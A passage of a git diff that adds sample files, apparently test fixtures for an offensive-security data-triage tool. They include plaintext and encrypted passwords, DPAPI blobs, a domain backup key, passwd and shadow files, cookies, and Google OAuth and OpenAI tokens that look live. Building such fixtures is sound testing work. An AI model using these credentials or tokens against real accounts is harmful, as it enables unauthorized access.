vqmiy++qwZH7xPMscx2sUDJisJhsrORoHu6jA+p5lsqGMbyLQvsqX+7kU66vU6M/LKauvPhWhEbxYw2KrhZfvs6bnlRlKJoaTg3ISqAya5mBhYXZuZPTsRH9k4PsfZHI8SvY4bEYb0N9woH1kj9BTbUAl1iEYr4VUIp9njfAzf/4UdogPRKyxijH7o228pmRWe0QdXW1R+e8mJJVOJfMytK/cTwbe8glWJKTLOTmVyfD0n/yER4fAjB9/3NUhTrO5gymPTNqcO/73//EksvSvyGEbRzMK3m5inK+zkGK2hga+JHKHObJNFVs8AjWFboY1heaQ0x0VIg9bzTJK4pz8hRlYZdfptSxldU7FJweU6lm8IBArvpVskrFLV/CAKJ+z9i7+5Oc2S9+PkruQSAtvKy9pdbXC++9IveLg8zqM4rzTKD4uhSp16k1kyD5ndkVA0rFwpC+RhDCbhqIdD0XbbmmnLUv7W39KFdenomSAEZmoo7XcHDFW6/z39Un5HqeUY5JvSVMjljFhStYNhCRi/iSg/zkl6E0j7kvDvtsoZ01JffWHz6CkPh8hdzJEvIxQr+s1FNBdboNkuwsOtNOAo3pWHnC0PeZCSForUasyAkbcicFmeWuM2mb5bGeW/9Uo2cnw8KIzo6jiYyCTlSrU4x7bsmrgF3/6hUhptzcsqpx7bHunA5+hwJIvsNApTjg7hQ/i1LC1rjQlJgIgaswb9bXW7qMlOzdu3BNX2DdLOTrAoxGyjyHN141lfHGj0VTL9CkMJEIt8NdwIV5IQyEHAuHxVJ9LEaHxk8sJPiswu3DjuHPywHWt9MEonQDnJ8egz9JbEMEiO+6wyNJJsBpK/U5IhHMsjyic5IQTjhSOOJvNDT9E9tgbzJaF4DEneMIaEayRHPBxB7x9ZGZls2H+6ktPbX7wid/5p7/bKv19lNxOUWAFNdtqao2ADSSYdakLmd8Gkpkv9Ny0UwRxafvkzJkFoVBJ5AGQYpZQXMBAY0fMTWMqYx0hgGg8seIeWPeQ3aL8bQh3xhx8DVqNZUrfDh0XoXGehoUon6cf/9FPbX7w89/+9a9tZTpx28Vl6Mzn1CtncAxEpt4eITtMWVdU02yCdYh8ihC1voCPXOCeyf7ZN50tr9T14plke6k+lX44VX4gWRw586bTq2UD7ztsNMGSNK/QgrFYGiSnztDb18GqnGuC+YI3A7ebK+oq3so8rhqXW3rD5KZ4V+dSEpkfkMjRiirfWlGHxs7Qf8YnoAqfDa6CWr9RVUgmMmuswl6PKtyq1ofmZ4HvXw7m+yHlxvFdWCPfu71E/5ACTP9lBNb2Wj2VnK8rLbYZx0dYAWcV11Q64Ac+9XrrlAi6uycI9OSBmB/6T1i7HzgAfPHjPvhsts2jOpKz2UQ65tqxkf45qKoj5Ki1QJ6oqc0lvL72Abzf64rWKi/ztSgKQHqFCmC/bZOqwHYpMqypPxqJSFfJAV6/2XYDr5Yz2Ltl9LYv9D2LTN3XBYRV3juvOLD1+Y/82X+9FV98gG62GR/R4FskvxUlsUtqUx/TG6ugwPh+EyxsK6tQE5ijZdceCTq6PfaRF+hBsRsVTRjZMWcynPdTHMkHp+vhsRtNODx2Z7PDYw804fDYGy/ugWc3dpKWsfNvn6Drgt+OkoPzk0xS7LI+erEhnYyhsPsb7es7mEg5JXJY6lLe1LTlWFBfCAZFcrFu5M6Rk7Zz5q704l3oObYD5AwT50/+2lOb47vZeJbTQ6lCMpXMJTJJ+lSJtDXSX4lt3RqRNm29pX/H4QgoSmlrlKZFIW1n/wme1ifA9Z2MyPu3brLDwa8++HWy/z6aG9/62CdfsBOPcNBof99hzDp5y/8P5V/I+L51BQA=","variations_safe_seed_date":"13326833898000000","variations_safe_seed_fetch_time":"13326834056751624","variations_safe_seed_locale":"en-US","variations_safe_seed_milestone":111,"variations_safe_seed_permanent_consistency_country":"us","variations_safe_seed_session_consistency_country":"us","variations_safe_seed_signature":"MEQCIHKH9neEUW8fzXhEasmV9flyr/G+kBumDdGIHCJowK1HAiBmAakAnQYFjqzj7gM2H0ZVRq3TCXZaVsYsbNxwr1KTPw==","variations_seed_date":"13326834056000000","variations_seed_milestone":111,"variations_seed_signature":"MEQCIHKH9neEUW8fzXhEasmV9flyr/G+kBumDdGIHCJowK1HAiBmAakAnQYFjqzj7gM2H0ZVRq3TCXZaVsYsbNxwr1KTPw==","was":{"restarted":false}}
\ No newline at end of file
diff --git a/sample_files/C/Users/DPAPIUser/AppData/Roaming/Microsoft/Protect/S-1-5-21-937929760-3187473010-80948926-2115/ab998260-e99d-4871-8f4b-d922b2848ce6 b/sample_files/C/Users/DPAPIUser/AppData/Roaming/Microsoft/Protect/S-1-5-21-937929760-3187473010-80948926-2115/ab998260-e99d-4871-8f4b-d922b2848ce6
new file mode 100644
index 0000000..742b808
Binary files /dev/null and b/sample_files/C/Users/DPAPIUser/AppData/Roaming/Microsoft/Protect/S-1-5-21-937929760-3187473010-80948926-2115/ab998260-e99d-4871-8f4b-d922b2848ce6 differ
diff --git a/sample_files/SiteList.xml b/sample_files/SiteList.xml
new file mode 100644
index 0000000..b4cefe1
--- /dev/null
+++ b/sample_files/SiteList.xml
@@ -0,0 +1,27 @@
+
+
+
+
+ Products/CommonUpdater
+ 0
+
+ jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+
+
+ Repository$
+
+ 0
+ companydomain
+ McAfeeService
+ Password123!
+
+
+ Repository$
+
+ 0
+ companydomain
+ McAfeeService
+ jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+
+
+
diff --git a/sample_files/appsettings.json b/sample_files/appsettings.json
new file mode 100644
index 0000000..5d0841c
--- /dev/null
+++ b/sample_files/appsettings.json
@@ -0,0 +1,12 @@
+{
+ "ConnectionStrings": {
+ "DefaultConnection": "Data Source=COMPUTER.domain.com;Initial Catalog=DEV;User Id=API_USER;Password=Password123!;"
+ },
+ "Logging": {
+ "LogLevel": {
+ "Default": "Information",
+ "Microsoft": "Warning",
+ "Microsoft.Hosting.Lifetime": "Information"
+ }
+ }
+}
\ No newline at end of file
diff --git a/sample_files/dotnet_assembly.exe b/sample_files/dotnet_assembly.exe
new file mode 100644
index 0000000..0cd242d
Binary files /dev/null and b/sample_files/dotnet_assembly.exe differ
diff --git a/sample_files/dpapi_blob.bin b/sample_files/dpapi_blob.bin
new file mode 100644
index 0000000..c60ed3d
Binary files /dev/null and b/sample_files/dpapi_blob.bin differ
diff --git a/sample_files/dpapi_blob_b64.txt b/sample_files/dpapi_blob_b64.txt
new file mode 100644
index 0000000..181dc73
--- /dev/null
+++ b/sample_files/dpapi_blob_b64.txt
@@ -0,0 +1,3 @@
+This is a DPAPI blob: AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAYIKZq53pcUiPS9kisoSM5gAAAAACAAAAAAADZgAAwAAAABAAAAAwl49Q5xqPHn3EHNNXysI6AAAAAASAAACgAAAAEAAAAEnxLXXgSNJZ6YSYwFKCspYQAAAA30KckUebACyn0orHO7aonxQAAACzZ1VzrkCEXdIHsTkbqva5ndDxmw==
+
+This is not: blah.
diff --git a/sample_files/dpapi_domain_backupkey.json b/sample_files/dpapi_domain_backupkey.json
new file mode 100644
index 0000000..b7b1c47
--- /dev/null
+++ b/sample_files/dpapi_domain_backupkey.json
@@ -0,0 +1,5 @@
+{
+ "domain_controller": "testdc.domain.local",
+ "domain_backupkey_guid": "45cbf2fb-b468-471a-a374-3ca17b50cf3b",
+ "domain_backupkey_b64": "HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAAEAAQAR+ACjxly5/B43a5YYGh09Ya4EMc/mYSHOD+u4IE9qDSfV2/TLEQOj3zgKyyim+6iNqMBQRBFmL89K17eB+Lofc8uGJwkQ2vL+9hs6ylohrfWaF+gua9Xpb/3iyUiF1bPKccxfu0+1MWaoc+f2+kLOg39SsaETO+9Q8BKxy2xVkYq1npMSGMefaSrurdoKYLy2STa5c/Qd/FQ5/1Mp3GWIUo9igz8XHKUVNkndeENvJqWlI9Das1lxhMl+UGpwXGCRTPirjwAFF3fDCdLI5c+EKCLz4/TBy71rul1BxDvwQIEZI3oaAS82zUp9e60VXmQyMoztrLAoMJwMl4U9RgaNUWSu9CgU73nYaVdiTIAbWaJLrwWWq508rnqhsIFc4HnIoQbFQAuCb6O46skUQK35qbVv9hyCeieJrPHgoIs/mDzm+TLIauXZZD1T2XMb/GnCrN8XQicDsRjcQvh+NKDD6vh60lUPYLEGvHOxVxmBfEpTKVri1wWjuEH77El6U7vBJ49BrR3hdH3uEcTJ3LRQ9ycu0WtfI6ye6Qb2r1hhLviPBwKbtx1Qg4rek0IU05sbdiGsADppSONEeIKO55IkBs7/92bTlls5C0FPX6vK4q/FRadknHtHzAoNMrY0ImwCf+fMVzUE2+K2R5q+C80nTNCSIhHFlQQ6CesHxGa5wIFaH8kb7L6Xy1ZTlkXe++XFjUgPMVla185o4UVDMhka6ruaLAJukk6zlSZLfObXVV4rrksJ+JPSj84SszoIteDSBVsU5GYgYNh7Wp1OiQfeANctD5cRQYJLebEP+9LCU3qKZFL5uotnnsCsB49AZu32sKhindPmoclvyCQ069pbAR+RwRATlIU34Q6TUE1TR09o8Qzy/dMH/6engfq3m/ypHQ3UOboQsDeB3jhV83tsYagZnj/naWlTaoWO9lL9holOx2OECBNDile8WTJynVlvglrhHZHEicNaT1lJA27xckFDjGeKa7pRffh4B+/oHKnAB/zWwaE2d/aj/6jKK7BnpAPkslzoBtWFRUeBCcjjk1ydi488/23zmLKX7lf0DAcjLSJneA2wq0iVlCuVjONfLQMx9IBHeCGMduJsIMkc450W+FAithsKKH3Pl9uQcKD9k3ENM6gCfcgjHQimZCOvmEWeL4O/BycMK+6XwaisF3p6AK/BhxXifwSl0V8jT0F4GFrvbuOXShQjtEUHwygkxL8h3c4BRonvg2/wqCvgnRJYb6SUHJ+s32eaQ8+t76tL7E7v9o02BqZMNclGRlRYEyNwROvF7TXfGFf84E+V3q798vtxcAJ7vZaO5LiwPSx3oifQFWUqvQzRA6dxzKw5S7O/lwLigvPXbbrFkwJ5TOL038R+P9KCYFp1OCSBSrbms8cZkFaSAhqzyXXl+SvCT+OLHUL8qQeo4cpmMPK2/kethFMzg4pF+QkeSSGtwqLFW3MS3q42iTEDeZwnO9COsInIhKhoF0ugfvTkebufz2sAchQzbgnFQP0AJD+8+BNt5QC4+DYKR+N5nvl6QQA="
+}
\ No newline at end of file
diff --git a/sample_files/enc_pdf_test.pdf b/sample_files/enc_pdf_test.pdf
new file mode 100644
index 0000000..bafd16a
Binary files /dev/null and b/sample_files/enc_pdf_test.pdf differ
diff --git a/sample_files/enc_pdf_uncrackable.pdf b/sample_files/enc_pdf_uncrackable.pdf
new file mode 100755
index 0000000..b458586
Binary files /dev/null and b/sample_files/enc_pdf_uncrackable.pdf differ
diff --git a/sample_files/enc_zip_test.zip b/sample_files/enc_zip_test.zip
new file mode 100644
index 0000000..83811ff
Binary files /dev/null and b/sample_files/enc_zip_test.zip differ
diff --git a/sample_files/groups.xml b/sample_files/groups.xml
new file mode 100644
index 0000000..01a8bf7
--- /dev/null
+++ b/sample_files/groups.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/sample_files/nosey_parker_google.config b/sample_files/nosey_parker_google.config
new file mode 100644
index 0000000..aeb7785
--- /dev/null
+++ b/sample_files/nosey_parker_google.config
@@ -0,0 +1,12 @@
+ const setupCredentials = () => {
+ const { encryptedData, iv } = encrypt({
+ expiry_date: 1642441058842,
+ access_token:
+ 'ya29.A0ARrdaM--PV_85ebjywDJpXKb67NBFJl16meVUapYdfNv6W6ZzCu947fNaParjbDbOIIcp6f49cMaX5ndL9TAFnKwlVqz3nrK8nLKqgyDIhYsIq47smcekEkK56SWPx3X3DwAFqRu2yPojpd2upWwo-3uJrod',
+ // This token is linked to a test Google account (typebot.test.user@gmail.com)
+ refresh_token:
+ '1//039xWRt8YaYa3CgYIASDLPAMSNwF-L9Iru9FyuTrDSaql3SceggPho83kJt2J23l491EhT1C6XV1vmoWlek9puL_R2t8FIwR3gek',
+ })
+ curl https://api.openai.com/v1/images/generations -H 'Content-Type: application/json' -H "Authorization: Bearer sk-mxQl4s1tyfRwyIKHwrqOT4BlbkFJTEk9mv6VdSwB23IIq1pO"
+blasjdkfhjkdaf
+
diff --git a/sample_files/office_doc_new.docx b/sample_files/office_doc_new.docx
new file mode 100644
index 0000000..f6c699c
Binary files /dev/null and b/sample_files/office_doc_new.docx differ
diff --git a/sample_files/office_doc_new_enc.docx b/sample_files/office_doc_new_enc.docx
new file mode 100644
index 0000000..eca222f
Binary files /dev/null and b/sample_files/office_doc_new_enc.docx differ
diff --git a/sample_files/office_doc_ole.doc b/sample_files/office_doc_ole.doc
new file mode 100644
index 0000000..2355f1c
Binary files /dev/null and b/sample_files/office_doc_ole.doc differ
diff --git a/sample_files/office_doc_ole_enc.doc b/sample_files/office_doc_ole_enc.doc
new file mode 100644
index 0000000..e2d9d7f
Binary files /dev/null and b/sample_files/office_doc_ole_enc.doc differ
diff --git a/sample_files/passwd b/sample_files/passwd
new file mode 100644
index 0000000..7f1643a
--- /dev/null
+++ b/sample_files/passwd
@@ -0,0 +1,36 @@
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
+messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
+rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
+dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
+avahi:x:109:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
+speech-dispatcher:x:110:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
+pulse:x:111:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
+saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
+colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
+geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
+Debian-gdm:x:115:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
+harmj0y:x:1000:1000:harmj0y,,,:/home/harmj0y:/bin/bash
+systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
diff --git a/sample_files/pdf_test.pdf b/sample_files/pdf_test.pdf
new file mode 100644
index 0000000..88a3194
Binary files /dev/null and b/sample_files/pdf_test.pdf differ
diff --git a/sample_files/sample.png b/sample_files/sample.png
new file mode 100644
index 0000000..4a54dfa
Binary files /dev/null and b/sample_files/sample.png differ
diff --git a/sample_files/seatbelt/seatbelt_fileinfo.ndjson b/sample_files/seatbelt/seatbelt_fileinfo.ndjson
new file mode 100644
index 0000000..4997439
--- /dev/null
+++ b/sample_files/seatbelt/seatbelt_fileinfo.ndjson
@@ -0,0 +1 @@
+{"Type":"Seatbelt.Commands.Windows.FileInfoDTO","Data":{"Comments":null,"CompanyName":null,"FileDescription":null,"FileName":"C:\\Windows\\win.ini","FileVersion":null,"InternalName":null,"IsDebug":false,"IsDotNet":false,"IsPatched":false,"IsPreRelease":false,"IsPrivateBuild":false,"IsSpecialBuild":false,"Language":null,"LegalCopyright":null,"LegalTrademarks":null,"OriginalFilename":null,"PrivateBuild":null,"ProductName":null,"ProductVersion":null,"SpecialBuild":null,"Attributes":32,"CreationTimeUtc":"\/Date(1651900411539)\/","LastAccessTimeUtc":"\/Date(1673040385781)\/","LastWriteTimeUtc":"\/Date(1651900356098)\/","Length":92,"SDDL":"O:SYD:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)"}}
\ No newline at end of file
diff --git a/sample_files/seatbelt/seatbelt_osinfo.ndjson b/sample_files/seatbelt/seatbelt_osinfo.ndjson
new file mode 100644
index 0000000..2547ffb
--- /dev/null
+++ b/sample_files/seatbelt/seatbelt_osinfo.ndjson
@@ -0,0 +1 @@
+{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"9181BD05-021C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}
\ No newline at end of file
diff --git a/sample_files/seatbelt/seatbelt_registryvalue_service.ndjson b/sample_files/seatbelt/seatbelt_registryvalue_service.ndjson
new file mode 100644
index 0000000..1968e6c
--- /dev/null
+++ b/sample_files/seatbelt/seatbelt_registryvalue_service.ndjson
@@ -0,0 +1,9 @@
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"Description","Value":"@%systemroot%\\system32\\drivers\\mmcss.sys,-101","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"DisplayName","Value":"@%systemroot%\\system32\\drivers\\mmcss.sys,-100","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"ErrorControl","Value":1,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"ImagePath","Value":"\\SystemRoot\\system32\\drivers\\mmcss.sys","ValueKind":2,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"Start","Value":2,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS","ValueName":"Type","Value":1,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS\\Security","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\MMCSS\\Security","ValueName":"Security","Value":[1,0,20,128,188,0,0,0,200,0,0,0,20,0,0,0,48,0,0,0,2,0,28,0,1,0,0,0,2,128,20,0,255,1,15,0,1,1,0,0,0,0,0,1,0,0,0,0,2,0,140,0,6,0,0,0,0,0,20,0,253,1,2,0,1,1,0,0,0,0,0,5,18,0,0,0,0,0,24,0,255,1,15,0,1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0,0,0,20,0,141,1,2,0,1,1,0,0,0,0,0,5,4,0,0,0,0,0,20,0,141,1,2,0,1,1,0,0,0,0,0,5,6,0,0,0,0,0,24,0,16,0,0,0,1,2,0,0,0,0,0,5,32,0,0,0,33,2,0,0,0,0,24,0,20,0,0,0,1,2,0,0,0,0,0,15,2,0,0,0,1,0,0,0,1,1,0,0,0,0,0,5,18,0,0,0,1,1,0,0,0,0,0,5,18,0,0,0],"ValueKind":3,"SDDL":""}}
diff --git a/sample_files/seatbelt/seatbelt_service.ndjson b/sample_files/seatbelt/seatbelt_service.ndjson
new file mode 100644
index 0000000..79ab2f1
--- /dev/null
+++ b/sample_files/seatbelt/seatbelt_service.ndjson
@@ -0,0 +1 @@
+{"Type":"Seatbelt.Commands.Windows.ServicesDTO","Data":{"Name":"AJRouter","DisplayName":"AllJoyn Router Service","Description":"Routes AllJoyn messages for the local AllJoyn clients. If this service is stopped the AllJoyn clients that do not have their own bundled routers will be unable to run.","User":"NT AUTHORITY\\LocalService","State":"Stopped","StartMode":"Manual","Type":"Share Process","ServiceCommand":"C:\\Windows\\system32\\svchost.exe -k LocalServiceNetworkRestricted -p","BinaryPath":"C:\\Windows\\System32\\AJRouter.dll","BinaryPathSDDL":"O:S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464D:PAI(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;BU)(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)","ServiceDll":"C:\\Windows\\System32\\AJRouter.dll","ServiceSDDL":"O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)","CompanyName":"Microsoft Corporation","FileDescription":"AllJoyn Router Service DLL","Version":"10.0.22621.1 (WinBuild.160101.0800)","IsDotNet":false}}
diff --git a/sample_files/services.json b/sample_files/services.json
new file mode 100644
index 0000000..e650060
--- /dev/null
+++ b/sample_files/services.json
@@ -0,0 +1,24 @@
+[
+ {
+ "name" : "Winmgmt",
+ "display_name" : "Windows Management Instrumentation",
+ "description" : "Provides a common interface and object model to access management information about operating system, devices, applications and services. If this service is stopped, most Windows-based software will not function properly. If this service is disabled, any services that explicitly depend on it will fail to start.",
+ "start_name" : "localSystem",
+ "state" : "Running",
+ "start_mode" : "Auto",
+ "type" : "SYSTEM",
+ "service_command" : "C:/Windows/system32/svchost.exe -k netsvcs -p",
+ "service_dll" : "C:/Windows/system32/wbem/WMIsvc.dll",
+ "service_sddl" : "O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)"
+ },
+ {
+ "name" : "DevicesFlowUserSvc_6ce64",
+ "display_name" : "DevicesFlow_6ce64",
+ "description" : "Allows ConnectUX and PC Settings to Connect and Pair with WiFi displays and Bluetooth devices.",
+ "state" : "Stopped",
+ "start_mode" : "Manual",
+ "type" : "USER",
+ "service_command" : "C:/Windows/system32/svchost.exe -k DevicesFlow",
+ "service_sddl" : "O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)"
+ }
+]
diff --git a/sample_files/shadow b/sample_files/shadow
new file mode 100644
index 0000000..01c8c7a
--- /dev/null
+++ b/sample_files/shadow
@@ -0,0 +1,35 @@
+root:$y$j9T$/ng0odQHK5yGwy3mJXhxK1$ilPyYZ98wqhvE.1A.Db6oHMOIGXe7I0qxbec06IYdGC:19227:0:99999:7:::
+daemon:*:19227:0:99999:7:::
+bin:*:19227:0:99999:7:::
+sys:*:19227:0:99999:7:::
+sync:*:19227:0:99999:7:::
+games:*:19227:0:99999:7:::
+man:*:19227:0:99999:7:::
+lp:*:19227:0:99999:7:::
+mail:*:19227:0:99999:7:::
+news:*:19227:0:99999:7:::
+uucp:*:19227:0:99999:7:::
+proxy:*:19227:0:99999:7:::
+www-data:*:19227:0:99999:7:::
+backup:*:19227:0:99999:7:::
+list:*:19227:0:99999:7:::
+irc:*:19227:0:99999:7:::
+gnats:*:19227:0:99999:7:::
+nobody:*:19227:0:99999:7:::
+_apt:*:19227:0:99999:7:::
+systemd-network:*:19227:0:99999:7:::
+systemd-resolve:*:19227:0:99999:7:::
+tss:*:19227:0:99999:7:::
+messagebus:*:19227:0:99999:7:::
+systemd-timesync:*:19227:0:99999:7:::
+usbmux:*:19227:0:99999:7:::
+rtkit:*:19227:0:99999:7:::
+dnsmasq:*:19227:0:99999:7:::
+avahi:*:19227:0:99999:7:::
+speech-dispatcher:!:19227:0:99999:7:::
+pulse:*:19227:0:99999:7:::
+saned:*:19227:0:99999:7:::
+colord:*:19227:0:99999:7:::
+geoclue:*:19227:0:99999:7:::
+Debian-gdm:*:19227:0:99999:7:::
+systemd-coredump:!*:19227::::::
diff --git a/sample_files/shortcut.lnk b/sample_files/shortcut.lnk
new file mode 100644
index 0000000..94df9f3
Binary files /dev/null and b/sample_files/shortcut.lnk differ
diff --git a/sample_files/structured/authentication_data.json b/sample_files/structured/authentication_data.json
new file mode 100644
index 0000000..fd61dec
--- /dev/null
+++ b/sample_files/structured/authentication_data.json
@@ -0,0 +1,20 @@
+{
+ "data": [
+ {
+ "type": "password",
+ "username": "DPAPIUser",
+ "uri": "domain://theshire.local",
+ "data": "Password123!"
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "authentication_data",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/cookies.json b/sample_files/structured/cookies.json
new file mode 100644
index 0000000..0a9a574
--- /dev/null
+++ b/sample_files/structured/cookies.json
@@ -0,0 +1,43 @@
+{
+ "data": [
+ {
+ "user_data_directory": "C:/Users/harmj0y/AppData/Local/Google/Chrome/User Data/Default/Cookies",
+ "domain": "example.com",
+ "path": "/",
+ "name": "UID",
+ "value": "1234567",
+ "expires": "2024-01-01T01:01:01.000Z",
+ "secure": true,
+ "http_only": true,
+ "session": false,
+ "samesite": "lax",
+ "source_port": 443
+ },
+ {
+ "user_data_directory": "C:/Users/harmj0y/AppData/Local/Google/Chrome/User Data/Default/Cookies",
+ "domain": "example.com",
+ "path": "/",
+ "name": "username",
+ "value": "harmj0y",
+ "expires": "2024-01-01T01:01:01.000Z",
+ "creation": "2023-01-01T01:01:01.000Z",
+ "last_access": "2023-01-01T01:01:01.000Z",
+ "last_update": "2023-01-01T01:01:01.000Z",
+ "secure": true,
+ "http_only": false,
+ "session": false,
+ "samesite": "LAX",
+ "source_port": 8443
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "cookie",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/file_data.json b/sample_files/structured/file_data.json
new file mode 100644
index 0000000..f7afd38
--- /dev/null
+++ b/sample_files/structured/file_data.json
@@ -0,0 +1,19 @@
+{
+ "data": [
+ {
+ "object_id": "51780a02-f560-4162-bf68-a99474bfe520",
+ "path": "/home/itadmin/code/ods/services.json",
+ "size": 4387107
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "file_data",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/file_information1.json b/sample_files/structured/file_information1.json
new file mode 100644
index 0000000..db1ca0b
--- /dev/null
+++ b/sample_files/structured/file_information1.json
@@ -0,0 +1,20 @@
+{
+ "data": [
+ {
